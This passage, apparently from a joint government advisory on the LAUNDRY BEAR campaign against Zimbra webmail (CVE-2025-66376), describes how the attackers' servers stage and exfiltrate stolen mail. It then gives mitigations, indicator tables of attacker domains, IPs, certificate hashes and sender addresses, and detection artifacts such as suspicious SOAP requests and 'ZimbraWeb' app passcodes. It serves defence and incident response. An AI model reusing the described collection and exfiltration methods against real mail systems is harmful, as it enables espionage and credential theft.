<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
